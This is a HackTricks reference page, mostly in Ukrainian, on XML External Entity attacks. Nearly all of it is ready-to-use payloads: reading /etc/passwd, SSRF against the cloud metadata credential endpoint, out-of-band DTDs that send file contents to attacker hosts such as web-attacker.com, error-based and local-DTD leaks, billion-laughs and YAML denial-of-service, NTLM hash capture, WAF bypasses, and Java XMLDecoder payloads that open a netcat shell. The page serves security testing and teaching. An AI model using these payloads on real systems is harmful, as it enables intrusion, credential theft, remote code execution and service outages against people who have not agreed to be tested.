Ukranian - Ht
HackTricks Training Twitter Linkedin Sponsor

XXE - XEE - XML External Entity

Support HackTricks

XML Основи

XML - це мова розмітки, призначена для зберігання та транспортування даних, що має гнучку структуру, яка дозволяє використовувати описово названі теги. Вона відрізняється від HTML тим, що не обмежена набором попередньо визначених тегів. Значення XML зменшилося з появою JSON, незважаючи на її початкову роль у технології AJAX.

  • Представлення даних через сутності: Сутності в XML дозволяють представляти дані, включаючи спеціальні символи, такі як &lt; та &gt;, які відповідають < та >, щоб уникнути конфлікту з системою тегів XML.

  • Визначення елементів XML: XML дозволяє визначати типи елементів, описуючи, як елементи повинні бути структуровані та який вміст вони можуть містити, від будь-якого типу вмісту до конкретних дочірніх елементів.

  • Визначення типу документа (DTD): DTD є важливими в XML для визначення структури документа та типів даних, які він може містити. Вони можуть бути внутрішніми, зовнішніми або комбінацією, вказуючи, як документи формуються та перевіряються.

  • Користувацькі та зовнішні сутності: XML підтримує створення користувацьких сутностей у DTD для гнучкого представлення даних. Зовнішні сутності, визначені з URL, викликають проблеми безпеки, особливо в контексті атак XML External Entity (XXE), які експлуатують спосіб, яким XML парсери обробляють зовнішні джерела даних: <!DOCTYPE foo [ <!ENTITY myentity "value" > ]>

  • Виявлення XXE за допомогою параметричних сутностей: Для виявлення вразливостей XXE, особливо коли звичайні методи не працюють через заходи безпеки парсера, можна використовувати параметричні сутності XML. Ці сутності дозволяють використовувати техніки виявлення поза каналом, такі як ініціювання DNS запитів або HTTP запитів до контрольованого домену, щоб підтвердити вразливість.

  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>

  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>

Основні атаки

Більшість цих атак були протестовані за допомогою чудових лабораторій Portswiggers XEE: https://portswigger.net/web-security/xxe

Тест нової сутності

У цій атаці я збираюся перевірити, чи працює проста нова декларація СУТНОСТІ.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>

Читання файлу

Спробуємо прочитати /etc/passwd різними способами. Для Windows ви можете спробувати прочитати: C:\windows\system32\drivers\etc\hosts

У цьому першому випадку зверніть увагу, що SYSTEM "**file:///**etc/passwd" також буде працювати.

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>

Цей другий випадок має бути корисним для витягування файлу, якщо веб-сервер використовує PHP (не випадок лабораторій Portswigger)

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>

У цьому третьому випадку зверніть увагу, що ми оголошуємо Element stockCheck як ANY

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>

Перелік директорій

У Java-базованих додатках може бути можливим перелічити вміст директорії через XXE з корисним навантаженням, як (просто запитуючи директорію замість файлу):

<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>

<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>

SSRF

XXE може бути використано для зловживання SSRF всередині хмари

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

Blind SSRF

Використовуючи раніше згадану техніку, ви можете змусити сервер отримати доступ до сервера, який ви контролюєте, щоб показати, що він вразливий. Але, якщо це не працює, можливо, це тому, що XML-ентитети не дозволені, в такому випадку ви можете спробувати використовувати XML-параметричні ентитети:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

"Сліпий" SSRF - Витік даних поза каналом

У цьому випадку ми змусимо сервер завантажити новий DTD з шкідливим корисним навантаженням, яке надішле вміст файлу через HTTP запит (для багаторядкових файлів ви можете спробувати витягти його через _ftp://_ використовуючи цей базовий сервер, наприклад xxe-ftp-server.rb). Це пояснення базується на Portswiggers lab here.

У даному шкідливому DTD проводиться серія кроків для витоку даних:

Приклад шкідливого DTD:

Структура така:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

The steps executed by this DTD include:

  1. Definition of Parameter Entities:

  • An XML parameter entity, %file, is created, reading the content of the /etc/hostname file.

  • Another XML parameter entity, %eval, is defined. It dynamically declares a new XML parameter entity, %exfiltrate. The %exfiltrate entity is set to make an HTTP request to the attacker's server, passing the content of the %file entity within the query string of the URL.

  1. Execution of Entities:

  • The %eval entity is utilized, leading to the execution of the dynamic declaration of the %exfiltrate entity.

  • The %exfiltrate entity is then used, triggering an HTTP request to the specified URL with the file's contents.

The attacker hosts this malicious DTD on a server under their control, typically at a URL like http://web-attacker.com/malicious.dtd.

XXE Payload: Щоб експлуатувати вразливий додаток, зловмисник надсилає XXE payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Цей payload визначає XML параметричну сутність %xxe і включає її в DTD. Коли її обробляє XML парсер, цей payload отримує зовнішній DTD з сервера зловмисника. Парсер потім інтерпретує DTD вбудовано, виконуючи кроки, викладені в шкідливому DTD, що призводить до ексфільтрації файлу /etc/hostname на сервер зловмисника.

Error Based(External DTD)

У цьому випадку ми змусимо сервер завантажити шкідливий DTD, який покаже вміст файлу всередині повідомлення про помилку (це дійсно лише в тому випадку, якщо ви можете бачити повідомлення про помилки). Приклад звідси.

Повідомлення про помилку парсингу XML, яке розкриває вміст файлу /etc/passwd, може бути викликане за допомогою шкідливого зовнішнього визначення типу документа (DTD). Це досягається через наступні кроки:

  1. Визначається XML параметрична сутність з назвою file, яка містить вміст файлу /etc/passwd.

  2. Визначається XML параметрична сутність з назвою eval, що включає динамічне визначення для іншої XML параметричної сутності з назвою error. Ця сутність error, коли її оцінюють, намагається завантажити неіснуючий файл, використовуючи вміст сутності file як його ім'я.

  3. Викликається сутність eval, що призводить до динамічного визначення сутності error.

  4. Виклик сутності error призводить до спроби завантажити неіснуючий файл, що викликає повідомлення про помилку, яке містить вміст файлу /etc/passwd як частину імені файлу.

Шкідливий зовнішній DTD можна викликати за допомогою наступного XML:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Upon execution, the web server's response should include an error message displaying the contents of the /etc/passwd file.

Зверніть увагу, що зовнішній DTD дозволяє нам включати одну сутність всередину другої (eval), але це заборонено в внутрішньому DTD. Тому ви не можете викликати помилку без використання зовнішнього DTD (зазвичай).

Помилка на основі (системний DTD)

Отже, що робити з сліпими вразливостями XXE, коли взаємодії поза каналом заблоковані (зовнішні з'єднання недоступні)?

Лазівка в специфікації мови XML може викрити чутливі дані через повідомлення про помилки, коли DTD документа поєднує внутрішні та зовнішні декларації. Ця проблема дозволяє внутрішню перезапис сутностей, оголошених зовні, що полегшує виконання атак XXE на основі помилок. Такі атаки експлуатують перезапис сутності параметра XML, спочатку оголошеного в зовнішньому DTD, зсередини внутрішнього DTD. Коли з'єднання поза каналом заблоковані сервером, зловмисники повинні покладатися на локальні DTD файли для проведення атаки, намагаючись викликати помилку парсингу, щоб розкрити чутливу інформацію.

Розгляньте сценарій, де файловий простір сервера містить файл DTD за адресою /usr/local/app/schema.dtd, що визначає сутність з назвою custom_entity. Зловмисник може викликати помилку парсингу XML, розкриваючи вміст файлу /etc/passwd, подавши гібридний DTD наступним чином:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

Описані кроки виконуються цим DTD:

  • Визначення XML параметричної сутності з назвою local_dtd включає зовнішній DTD файл, розташований на файловій системі сервера.

  • Відбувається повторне визначення для XML параметричної сутності custom_entity, спочатку визначеної у зовнішньому DTD, щоб інкапсулювати експлойт на основі помилки XXE. Це повторне визначення призначене для викликання помилки парсингу, що відкриває вміст файлу /etc/passwd.

  • Використовуючи сутність local_dtd, залучається зовнішній DTD, що охоплює нововизначену custom_entity. Ця послідовність дій призводить до виникнення повідомлення про помилку, яке є метою експлойту.

Приклад з реального світу: Системи, що використовують середовище робочого столу GNOME, часто мають DTD за адресою /usr/share/yelp/dtd/docbookx.dtd, що містить сутність під назвою ISOamso.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Оскільки ця техніка використовує внутрішній DTD, вам спочатку потрібно знайти дійсний. Ви можете зробити це, встановивши ту ж ОС / програмне забезпечення, що використовує сервер, і шукаючи деякі стандартні DTD, або отримавши список стандартних DTD в системах і перевіривши, чи існує хоча б один з них:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>

Для отримання додаткової інформації перегляньте https://portswigger.net/web-security/xxe/blind

Пошук DTD у системі

У наступному чудовому репозиторії на github ви можете знайти шляхи DTD, які можуть бути присутніми в системі:

Більше того, якщо у вас є Docker-образ жертви, ви можете використовувати інструмент з того ж репозиторію, щоб сканувати образ і знайти шлях до DTD, що присутні в системі. Прочитайте Readme репозиторію на github, щоб дізнатися як.

java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar

Scanning TAR file /tmp/dadocker.tar

[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []

[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []

XXE через парсери Office Open XML

Для більш детального пояснення цієї атаки, перегляньте другий розділ цього чудового посту від Detectify.

Можливість завантажувати документи Microsoft Office пропонується багатьма веб-додатками, які потім продовжують витягувати певні деталі з цих документів. Наприклад, веб-додаток може дозволити користувачам імпортувати дані, завантажуючи електронну таблицю у форматі XLSX. Щоб парсер зміг витягти дані з електронної таблиці, йому неминуче потрібно буде розпарсити принаймні один XML файл.

Щоб перевірити цю вразливість, необхідно створити файл Microsoft Office, що містить XXE payload. Першим кроком є створення порожньої директорії, в яку документ може бути розпакований.

Після розпакування документа, XML файл, розташований за адресою ./unzipped/word/document.xml, слід відкрити та відредагувати у вибраному текстовому редакторі (наприклад, vim). XML слід змінити, щоб включити бажаний XXE payload, часто починаючи з HTTP запиту.

Змінені XML рядки слід вставити між двома кореневими XML об'єктами. Важливо замінити URL на моніторинговий URL для запитів.

Нарешті, файл можна знову стиснути, щоб створити шкідливий poc.docx файл. З раніше створеної директорії "unzipped" слід виконати наступну команду:

Тепер створений файл можна завантажити до потенційно вразливого веб-додатку, і можна сподіватися на появу запиту в журналах Burp Collaborator.

Jar: протокол

Протокол jar доступний виключно в Java додатках. Він призначений для забезпечення доступу до файлів у PKZIP архіві (наприклад, .zip, .jar тощо), що охоплює як локальні, так і віддалені файли.

jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt

Щоб мати можливість отримувати доступ до файлів всередині PKZIP файлів, це надзвичайно корисно для зловживання XXE через системні DTD файли. Перевірте цей розділ, щоб дізнатися, як зловживати системними DTD файлами.

Процес доступу до файлу в архіві PKZIP через протокол jar включає кілька етапів:

  1. Виконується HTTP-запит для завантаження zip-архіву з вказаного місця, наприклад, https://download.website.com/archive.zip.

  2. HTTP-відповідь, що містить архів, тимчасово зберігається в системі, зазвичай у місці на кшталт /tmp/....

  3. Архів потім розпаковується для доступу до його вмісту.

  4. Читається конкретний файл в архіві, file.zip.

  5. Після завершення операції будь-які тимчасові файли, створені під час цього процесу, видаляються.

Цікава техніка для переривання цього процесу на другому етапі полягає в тому, щоб підтримувати з'єднання з сервером відкритим безкінечно під час обслуговування архівного файлу. Інструменти, доступні в цьому репозиторії, можуть бути використані для цієї мети, включаючи Python-сервер (slow_http_server.py) та Java-сервер (slowserver.jar).

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>

Запис файлів у тимчасовий каталог може допомогти ескалації іншої вразливості, що стосується обходу шляху (такої як локальне включення файлів, ін'єкція шаблонів, XSLT RCE, десеріалізація тощо).

XSS

<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>

DoS

Атака мільйона сміхів

<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

Атака Yaml

a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]

Атака квадратичного вибуху

Отримання NTML

На хостах Windows можливо отримати хеш NTML користувача веб-сервера, налаштувавши обробник responder.py:

Responder.py -I eth0 -v

і надіславши наступний запит

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>

Тоді ви можете спробувати зламати хеш за допомогою hashcat

Приховані XXE Виявлення

XInclude

При інтеграції даних клієнта в XML-документи на стороні сервера, такі як ті, що в бекенд SOAP запитах, прямий контроль над структурою XML часто обмежений, що ускладнює традиційні атаки XXE через обмеження на модифікацію елемента DOCTYPE. Однак атака XInclude пропонує рішення, дозволяючи вставку зовнішніх сутностей у будь-який елемент даних XML-документа. Цей метод є ефективним навіть тоді, коли можна контролювати лише частину даних у згенерованому сервером XML-документі.

Щоб виконати атаку XInclude, необхідно оголосити простір імен XInclude, а також вказати шлях до файлу для запланованої зовнішньої сутності. Нижче наведено стисле приклад того, як можна сформулювати таку атаку:

productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

Check https://portswigger.net/web-security/xxe for more info!

SVG - Завантаження файлів

Файли, завантажені користувачами до певних додатків, які потім обробляються на сервері, можуть експлуатувати вразливості в тому, як обробляються XML або файли, що містять XML. Загальні формати файлів, такі як офісні документи (DOCX) та зображення (SVG), базуються на XML.

Коли користувачі завантажують зображення, ці зображення обробляються або перевіряються на стороні сервера. Навіть для додатків, які очікують формати, такі як PNG або JPEG, бібліотека обробки зображень сервера також може підтримувати зображення SVG. SVG, будучи форматом на основі XML, може бути використаний зловмисниками для подання шкідливих SVG зображень, тим самим піддаючи сервер вразливостям XXE (XML External Entity).

Приклад такого експлойту показано нижче, де шкідливе SVG зображення намагається прочитати системні файли:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>

Інший метод полягає в спробі виконати команди через PHP "expect" обгортку:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>

У обох випадках формат SVG використовується для запуску атак, які експлуатують можливості обробки XML програмного забезпечення сервера, підкреслюючи необхідність надійної валідації введення та заходів безпеки.

Перевірте https://portswigger.net/web-security/xxe для отримання додаткової інформації!

Зверніть увагу, що перший рядок зчитаного файлу або результат виконання з'явиться ВНУТРІ створеного зображення. Тому вам потрібно мати доступ до зображення, яке створив SVG.

PDF - Завантаження файлу

Прочитайте наступний пост, щоб дізнатися, як експлуатувати XXE, завантажуючи PDF файл:

PDF Upload - XXE and CORS bypass

Content-Type: Від x-www-urlencoded до XML

Якщо POST-запит приймає дані у форматі XML, ви можете спробувати експлуатувати XXE у цьому запиті. Наприклад, якщо звичайний запит містить наступне:

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

Тоді ви можете надіслати наступний запит, з тим же результатом:

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

Content-Type: Від JSON до XEE

Щоб змінити запит, ви можете використовувати розширення Burp під назвою “Content Type Converter“. Тут ви можете знайти цей приклад:

Content-Type: application/json;charset=UTF-8

{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
Content-Type: application/xml;charset=UTF-8

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>

Інший приклад можна знайти тут.

WAF та обхід захистів

Base64

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

Це працює лише якщо XML сервер приймає протокол data://.

UTF-7

Ви можете використовувати ["Encode Recipe" з cyberchef тут ]([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to) для перетворення в UTF-7.

<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4

File:/ Protocol Bypass

Якщо веб використовує PHP, замість використання file:/ ви можете використовувати php wrappersphp://filter/convert.base64-encode/resource= для доступу до внутрішніх файлів.

Якщо веб використовує Java, ви можете перевірити jar: protocol.

HTML Entities

Трюк з https://github.com/Ambrotd/XXE-Notes Ви можете створити сущність всередині сущності, закодувавши її за допомогою html entities, а потім викликати її для завантаження dtd. Зверніть увагу, що HTML Entities, які використовуються, повинні бути числовими (як [в цьому прикладі](https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric entities'%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\).

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
<env>&exfil;</env>
</data>

DTD приклад:

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;

PHP Wrappers

Base64

Витягти index.php

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>

Витягти зовнішній ресурс

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>

Віддалене виконання коду

Якщо модуль PHP "expect" завантажено

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

SOAP - XEE

<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>

XLIFF - XXE

Цей приклад натхненний https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe

XLIFF (XML Localization Interchange File Format) використовується для стандартизації обміну даними в процесах локалізації. Це формат на основі XML, який в основному використовується для передачі локалізованих даних між інструментами під час локалізації та як загальний формат обміну для CAT (Computer-Aided Translation) інструментів.

Blind Request Analysis

Запит надсилається на сервер з наступним вмістом:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

Однак цей запит викликає внутрішню помилку сервера, зокрема згадуючи про проблему з деклараціями розмітки:

{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}

Незважаючи на помилку, на Burp Collaborator зафіксовано запит, що вказує на певний рівень взаємодії з зовнішнім об'єктом.

Витік даних поза каналом Для витоку даних надсилається модифікований запит:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

Цей підхід показує, що User Agent вказує на використання Java 1.8. Відзначеною обмеженням цієї версії Java є неможливість отримати файли, що містять символ нового рядка, такі як /etc/passwd, використовуючи техніку Out of Band.

Витік даних на основі помилок Щоб подолати це обмеження, використовується підхід на основі помилок. Файл DTD структурований наступним чином, щоб викликати помилку, яка включає дані з цільового файлу:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;

Сервер відповідає з помилкою, важливо відображаючи неіснуючий файл, що вказує на те, що сервер намагається отримати доступ до вказаного файлу:

{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}

Щоб включити вміст файлу в повідомлення про помилку, DTD-файл налаштовується:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;

Ця модифікація призводить до успішної ексфільтрації вмісту файлу, оскільки це відображається в виході помилки, надісланому через HTTP. Це вказує на успішну атаку XXE (XML External Entity), що використовує як Out of Band, так і Error-Based техніки для витягнення чутливої інформації.

RSS - XEE

Дійсний XML у форматі RSS для експлуатації вразливості XXE.

Ping back

Простий HTTP запит до сервера атакуючого

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Читати файл

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Читання вихідного коду

Використання фільтра base64 у PHP

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Java XMLDecoder XEE to RCE

XMLDecoder - це клас Java, який створює об'єкти на основі XML-повідомлення. Якщо зловмисник зможе змусити додаток використовувати довільні дані в виклику методу readObject, він миттєво отримає виконання коду на сервері.

Using Runtime().exec()

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>

ProcessBuilder

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>

Інструменти

Посилання

Підтримати HackTricks
PreviousXSLT Server Side Injection (Extensible Stylesheet Language Transformations)NextXSS (Cross Site Scripting)

Last updated